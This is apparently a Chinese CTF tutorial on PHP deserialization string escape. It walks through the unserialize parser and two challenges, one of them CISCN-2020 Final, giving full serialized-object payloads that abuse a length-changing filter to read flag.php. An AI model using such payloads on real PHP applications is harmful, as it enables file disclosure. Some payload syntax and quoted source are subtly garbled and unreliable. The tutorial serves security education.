PS:文章后半段主要是赛题讲解,可以帮助理解知识点
PHP-反序列化(字符串逃逸)
首先我们先看这样一个经过序列化之后的字符串
a:1:{i:0;s:3:"123";}???
可以从这个字符串中得到信息,首先它是一个数组,数组中有一个键值为int
型的0
,然后value
值是一个str
型,长度为3
的123
,但是可以看到后面有一串???
这个是什么东西呢?我们先不管,先将这一串字符串进行反序列化
执行PHP代码
<?php
print_r(unserialize('a:1:{i:0;s:3:"123";}???'));
得到回显
Array
(
[0] => 123
)
这是有这三个?
所得到的结果,此时我们再将?
都去掉查看回显
Array
(
[0] => 123
)
发现回显并没有改变,有和没有都是一样的结果
也就是说,序列化一个字符串,序列化到他的结束符之后,后续的内容是不会进行序列化的
而我们的123
的内容是可控的,那么我们直接在123
后面加上前面一个序列化的结束符
a:1:{i:0;s:3:"123";}";}
也就是我们输入的内容变为123";}
然后就会导致后面的字符串失效,也就是说原来的";}
无效了
那么我们再将这样一个字符串进行反序列化之后,就会发现,和上面两个并没有区别
这里的字符串逃逸的原理
其实和SQL注入
的原理差不多
SQL注入
是闭合前面
的查询语句,然后后面接上自己的恶意SQL语句
字符串逃逸
是闭合前面的属性,后面接上我们自己添加的其他的属性
接下来我们看一看php_var_unserialize
函数的实现
首先看一段var_unserialize.c
文件
yych = *YYCURSOR;
switch (yych) {
case 'C':
case 'O': goto yy4;
case 'N': goto yy5;
case 'R': goto yy6;
case 'S': goto yy7;
case 'a': goto yy8;
case 'b': goto yy9;
case 'd': goto yy10;
case 'i': goto yy11;
case 'o': goto yy12;
case 'r': goto yy13;
case 's': goto yy14;
case '}': goto yy15;
default: goto yy2;
}
可以看到yych
这个指针用switch
来匹配我们序列化之后的字符串,这边我们随便举个例子,如果匹配到s
,我们跟进它,最终会发现,最终会跳转到yy90
来,我们简单分析一下yy90
的代码
yy90:
++YYCUROSR;
#line 800 "ext/standard/var_underializer.re"
{
size_t len,maxlen;
char *str;
len = parse_uiv(start + 2);
maxlen = max + YYCURSOR;
if (maxlen < len){
*p = start + 2;
return 0;
}
str = (char*)YYCURSOR;
YYCURSOR += len;
if (*(YYCURSOR) != '"'){
*p = YYCURSOR;
return 0;
}
if (*(YYCURSOR +1) !=';'){
*p = YYCURSOR +1;
return 0;
}
YYCURSOR +=2;
*p = YYCURSOR;
if (len ==0){
ZVAL_EMPTY_STRING(rval);
}else if (len == 1){
ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
}else if (as_key){
ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
}else{
ZVAL_STRINGL(rval, str, len);
}
return 1;
}
首先看yy90
中的这一小段
len = parse_uiv(start + 2);
maxlen = max + YYCURSOR;
if (maxlen < len){
*p = start + 2;
return 0;
首先他从start
的位置加了两位,也就是识别到s
之后往后移两位,也就会识别到我们字符串长度的信息,然后得到长度的信息,进行判断,如果我们输入的长度超过了它的最大长度也就是maxlen
,他就会return 0
然后向下继续分析
YYCURSOR += len;
if (*(YYCURSOR) != '"'){
*p = YYCURSOR;
return 0;
}
他把YYCURSOR
指针加上了获取到的长度len
,然后如果长度的下一位不是双引号的话,也就会抛出错误
if (*(YYCURSOR +1) !=';'){
*p = YYCURSOR +1;
return 0;
}
如果双引号的后一位,不是;
,也会抛出错误,否则就会对len
这一部分进行编程字符串,然后return 1
表示成功
if (len ==0){
ZVAL_EMPTY_STRING(rval);
}else if (len == 1){
ZVAL_INTERNED_STR(rval, ZSTR_CHAR((zend_uchar)*str));
}else if (as_key){
ZVAL_STR(rval, zend_string_init_interned(str, len, 0));
}else{
ZVAL_STRINGL(rval, str, len);
}
return 1;
我们可以发现,他就是严格按照这么一个模板,进行反序列化
S:len:"字符串内容";
现在我们了解了基本的原理,接下来我们来做一道题来更深入理解一下
What we can do.
<?php
error_reporting(255);
class A{
public $filename = __FILE__;
public function __destruct(){
highlight_file($this->filename);
// 高亮显示 filename 参数中的文件,默认是当前文件
}
}
function waf($s){
return preg_replace('/flag/i', 'index', $s);
// 识别flag然后将其替换为index
}
if (isset($_REQUEST['x']) && is_string($_REQUEST['x'])){
// 输入一个参数 x 且这个 x 必须是一个字符串
$a = [
0 => $_REQUEST['x'],
1 => "1"
];
// 然后定义一个数组类型, 0 对应的是我们的参数 x , 1 对应的就是 1
@unserialize(waf(serialize($a)));
// 先对数组$a进行序列化,然后过一遍上面定义的waf,然后在对其进行反序列化
}else{
new A();
}
我们的突破点肯定就是在A
这个类中,将filename
的值改为flag.php
,那么我们怎么操作呢?
首先我们可控的变量只有$_REQUEST['x']
,而这个x
经过了序列化,然后过一遍waf
然后再反序列化,似乎和我们的A
没有任何关系
我们直接来看payload
,然后对payload进行一个分析
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}
首先他前面有很长很长的flag
字符串,然后更上了一个;
,然后为整数型,数值为0,跟上一个;
号,然后再写了一个o
,一个对象,对象名称长度为1
,名称为A
,有一个属性,字符串类型的名称,名称长度为8
,为filename
,所对应的值的长度也为8
,为666c61672E706870
,然后闭合这个序列化字符串,后面跟上了两个}
假设我们先不添加前面的flag
,直接将后面的";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}
发送给服务器
页面无回显,漏洞并没有利用成功
我们可以在本地模拟一下,输入一下一段php
的代码
<?php
$a = [
0 => '";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}',
1 => "1"
];
print_r(serialize($a));
然后得到执行的结果
a:2:{i:0;s:65:"";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}
可以看到s:65
也就是说键0
对应的值长度为65
,也就是说,他会从第一个"
往后65
位都进行匹配,直到匹配完且下一位为"
,也就是说我们输入的";
这些字符都作为了数值,并没有利用起来
从我们上面分析的源码来看,它是按照长度来进行匹配的,所以我们没有办法和SQL注入一样,直接用特殊的符号将其进行闭合
他的长度,是由于他在序列化的时候得到的长度,我们是没有办法进行改变的
但是这道题还有一个关键点,那就是前面的waf
waf
会将我们输入的字符串中有flag
的字符串替换为index
,我们可以发现,flag
字符串长度为4
,而index
字符串长度为5
,这样是不是可以帮我们增加一个长度?
而且这个waf
巧的就是没有在serialize
前面替换,而是在其后面进行替换,那么我们的突破点就在这里
接下来在我们本地的php
脚本中添加waf
函数,并进行利用
<?php
$a = [
0 => 'flag',
1 => "1"
];
function waf($a){
return preg_replace('/flag/i', 'index', $a);
}
print_r(waf(serialize($a)));
我们先用flag
尝试一下,看看返回的结果
a:2:{i:0;s:4:"index";i:1;s:1:"1";}
发现这个序列化的字符串中,标记的键0
对应字符串的长度是4
而实际长度却是5
而反序列化进行匹配的时候,匹配到x
的位置,应该是"
,匹配错误,抛出异常,继而匹配下一位,"
匹配到;
还是匹配不到,又抛出一个错误
首先我们没加waf
函数先进行序列化
a:2:{i:0;s:325:"flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}
发现这边长度是有325
的,然后我们再将waf
函数利用上
a:2:{i:0;s:325:"indexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindexindex";i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}";i:1;s:1:"1";}
这个时候我们发现,长度还是325
没有变化,但是所有index
加起来的长度正好是325
,然后第326
位则是"
,正好匹配到,然后有用;
将前面这个属性进行闭合,然后就可以利用我们自己构造的A
对象
这个时候正好可以解释为什么后面是两个}
,而不是一个,可以看到前面又表明这个数组只有两个值,而第一个}
表明filename
结束,第二个}
则是闭合了数组的内容,这样就不会导致原本两个值加上我们自己构造的第三个值导致反序列化错误
而后面的字符,也就作为我们一开始例举的三个问号被忽略
这就达到了我们的一个字符串逃逸的效果,而这一题逃逸了i:0;O:1:"A":1:{s:8:"filename";S:8:"666c61672E706870";}}"
这些字符串
总结:这道题目主要原因是在waf
过滤的时候没有考虑字符串替换之后长度不一,造成长度溢出,而溢出的长度正好可以让我们利用,构造恶意的序列化字符串来达到效果
这是一道比较简单的例子,接下来我们看一道比赛真题CISCN-2020Final
<?php
if (isset($_POST['old_password'])
&& isset($_POST['update_password'])
&& isset($_POST['update_age'])
&& isset($_POST['update_email'])
&& is_string($_POST['old_password'])
&& is_string($_POST['update_password'])
&& is_string($_POST['update_age'])
&& is_string($_POST['update_email'])
)
{
if ( preg_match('/[^d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
|| strlen($_POST['update_password']) > 16 || preg_match('/W/', $_POST['update_password']) )
$user -> alterMes("invalid information", "./dashboard.php");
$update_profile = array(
"old_password" => $_POST['old_password'],
"old_real_password" => $user->password,
"password" => $_POST['update_password'],
"age" => $_POST['update_age'],
"email" => $_POST['update_email']
);
$user -> update(serialize($update_profile));
}
PS:关键代码截取
这里的功能就是更新资料的时候,需要你提供old_password
,update_password
,update_age
,update_email
的内容,然后会对提供的数据进行过滤
preg_match('/[^d]/', $_POST['update_age']) || !filter_var($_POST['update_email'], FILTER_VALIDATE_EMAIL)
|| strlen($_POST['update_password']) > 16 || preg_match('/W/', $_POST['update_password'])
首先update_age
只能够是数字类型,然后update_email
只能够是邮箱类型,然后update_password
的数据长度只能够小于等于16,而且内容只能够是一些字符,如果这些参数全都正常的话就会构造一个名为$update_profile
的数组
$update_profile = array(
"old_password" => $_POST['old_password'],
"old_real_password" => $user->password,
"password" => $_POST['update_password'],
"age" => $_POST['update_age'],
"email" => $_POST['update_email']
);
观察数组,我们可以发现old_password
是没有做限制的,所以我们可以对old_password
进行一个利用
然后将数据都转换成数组之后,又序列化并且经过update
函数传入$user
中
我们来看看update函数
首先将序列化之后的字符串,传入waf
,然后再经过反序列化传入$data
中
然后这里的waf
其实和上一题的waf
差不多,只是过滤的条件增加了,上一题只有单调的flag
,但是这一题有flag,php
等等
上一题的利用点其实是A
类中的__destruct
函数,而这一题的利用点也是__destruct
函数
它首先会严重是否设置了username
等内容,然后会得到这个头像的文件的内容,将其以base64
的方式输出出来
首先我们需要知道我们要逃逸那些字符串
首先 是";
我们需要将前面的内容闭合掉
然后是我们自己需要利用到的东西,因为是在数组中,我们需要按照数组的格式进行构造
首先是 i:0;O:4:"user"
键随便取,取0,然后我们需要利用的对象,对象名称长度为4
,为user
因为__destruct
函数要检测password
等值是否存在,所以这些值我们都需要给他构造出来
:6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";}
因为那便是content
属性,所以要加%00
,还有一个私有属性也需要加%00
因为这道题的flag
也在flag.php
中,所以我们先直接写flag.php
进行测试,然后还需要再最后多加一个}
,闭合整个数组
所以目前payload
为
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"}}
但是我们的数组是有五个键值的,我们闭合整个数组只有两个键值,所以会导致序列化报错,所以我们还需要再后面构造三个键值,得到测试payload
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";s:8:"flag.php"};i:1;N;i:2;N;i:3;N}
但是这个payload
还有一个小问题,就是flag.php
,flag.php
也是属于flag
的,所以会被替换掉,替换为index.php
,就会导致错误,
所以这里我们就利用反序列化的特性,用大写的S
,然后字符串用十六进制表示,然后它们会把十六进制变为字符串再解析
所以得到payload
";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"666c61672E706870"};i:1;N;i:2;N;i:3;N}
那么构造出来之后我们就要计算有多长了,如果我们直接选中计算,发现有193
个单位,但是这个是不准确的,因为我们构造的payload
中有%00
,而%00
相当于一个单位,所以最终的单位为185
所以我们需要利用waf
得到185
的溢出空间
所以最终最终的payload
为
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:0;O:4:"user":6:{s:8:"username";i:0;s:8:"password";i:0;s:3:"age";i:0;s=5:"email";i:0;s:13:"%00User%00content";i=0;s:12:"%00User%00avatar";S:8:"666c61672E706870"};i:1;N;i:2;N;i:3;N}
提交数据,服务器就会把flag.php
的内容给base64
编码出来
总结:这几题主要都是要利用题目本身的waf
,进行利用,然后利用waf
的缺陷得到溢出的空间,然后填充我们恶意的序列化之后的字符串,需要注意的是本身序列化之后有多少的数据,几个键值,都不能少,否则会导致反序列化报错
这个是属于增加字符串溢出,当然还有减少字符串的反序列化题目,不过大体上的知识点差不多
如果看完这篇文章还有不理解的可以去哔哩哔哩,去看智慧少年Xenny师傅的视频讲解,视频质量非常高,很不戳!
原文始发于微信公众号(神织安全团队):CTF-Web 小白入门向(PHP反序列化之字符串逃逸)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论